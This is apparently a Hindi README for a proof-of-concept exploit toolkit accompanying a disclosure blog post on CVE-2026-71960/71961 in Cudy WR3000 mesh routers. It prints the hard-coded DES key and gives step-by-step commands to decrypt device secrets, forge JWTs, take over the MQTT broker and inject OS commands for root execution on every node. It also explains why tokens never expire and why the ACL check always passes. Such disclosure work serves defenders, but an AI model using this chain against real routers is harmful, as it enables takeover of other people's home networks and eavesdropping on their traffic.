
PoC टूलकिट जो राउटर फर्मवेयर को अनपैक करता है, डिवाइस सीक्रेट्स को डिक्रिप्ट करता है, JWT टोकन जाली बनाता है, और Cudy WR3000 मेश MQTT ब्रोकरों पर कब्ज़ा करने के लिए CVE-2026-71960/71961 का शोषण करता है।
Hunt-Benito लेख के लिए PoC टूलिंग "एक ही चाबी हर बॉक्स खोलती है: CVE-2026-71960 — Cudy के WR3000 मेश MQTT ब्रोकर में हार्ड-कोडेड JWT सीक्रेट" (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)
समान MQTT मेश इंटरफ़ेस के माध्यम से OS कमांड इंजेक्शन वाले CVE-2026-71961 के साथ जुड़कर, उस Cudy WR3000 2.0 मेश के हर नोड पर रूट कमांड निष्पादन तक पहुँचता है, जो 2.5.24 से पहले का फर्मवेयर चला रहा है।
| फ़ाइल | उद्देश्य |
|---|---|
extract_firmware.py | एक सार्वजनिक Cudy sysupgrade .bin (hboot1tag + UBI) को पूर्ण OpenWrt फ़ाइलसिस्टम में अनपैक करें। 2.4.14 / 2.4.15 / 2.5.24 के साथ सत्यापित। |
decrypt_bdinfo.py | DES कुंजी (DES_string_to_key("88T3j05dtFu8="), शून्य IV — libbdinfo.so से प्राप्त) व्युत्पन्न करें और अपने स्वयं के डिवाइस से bdinfo MTD डंप को डिक्रिप्ट करें, जिससे deviceid और पूरे बेड़े के secret का पता चलता है। |
forge_jwt.py | एक HS256 टोकन बनाएं जो mosquitto_auth_unpwd_check में हर जाँच को संतुष्ट करता है (exp फ़्लोर 1577826000, deviceid युक्त username grant)। स्वयं-सत्यापित राउंड-ट्रिप करता है। |
mqtt_takeover.py | जाली JWT के साथ TCP 1883 पर ब्रोकर से CONNECT करें, router/# की सदस्यता लें, और (वैकल्पिक रूप से, --cmd) CVE-2026-71961 के command.lua → io.popen सिंक का उपयोग करें। |
pip install pycryptodome pyjwt paho-mqtt
# 1. unpack the public firmware (no device needed)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs
# 2. confirm the DES key literal ships in the image
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
# 88T3j05dtFu8=
# 3. decrypt a bdinfo dump from YOUR OWN device (2.4.x exposes /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin
# 4. forge a token for the recovered deviceid/secret
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'
# 5. passive: authenticate and listen on the mesh
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'
auth_plugin_jwt.so ब्रोकर स्टार्टअप पर bdinfo_get_value("deviceid") और
bdinfo_get_value("secret") कॉल करता है; secret मान सभी मेश JWTs के
लिए HS256 साइनिंग कुंजी है।
प्लगइन की exp जाँच exp >= 1577826000 (2019-12-31T21:00:00Z) है; time()
कॉल के परिणाम की कभी तुलना नहीं की जाती — टोकन वास्तव में कभी समाप्त नहीं होते।
alg: none को अस्वीकार किया जाता है (कुंजी दिए जाने पर EINVAL) — सीक्रेट
वास्तव में आवश्यक है; कोई alg-confusion शॉर्टकट नहीं है।
mosquitto_auth_acl_check() बिना किसी शर्त के SUCCESS लौटाता है — एक स्वीकृत
CONNECT हर विषय पर पढ़ने/लिखने की अनुमति देता है।
प्लेनटेक्स्ट लिसनर 0.0.0.0:1883 (2.4.x) का अर्थ है कि कोई TLS क्लाइंट प्रमाणपत्र
आवश्यक नहीं है। फिक्स्ड फर्मवेयर 2.5.24 1883 लिसनर को हटा देता है, bdinfo
सीक्रेट को पूरी तरह से हटा देता है, और पारस्परिक TLS पर निर्भर करता है।
केवल अधिकृत सुरक्षा अनुसंधान और शिक्षा के लिए। केवल उन्हीं डिवाइसों पर चलाएँ जिनके आप स्वामी हैं या जिनके परीक्षण की आपके पास स्पष्ट लिखित अनुमति है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।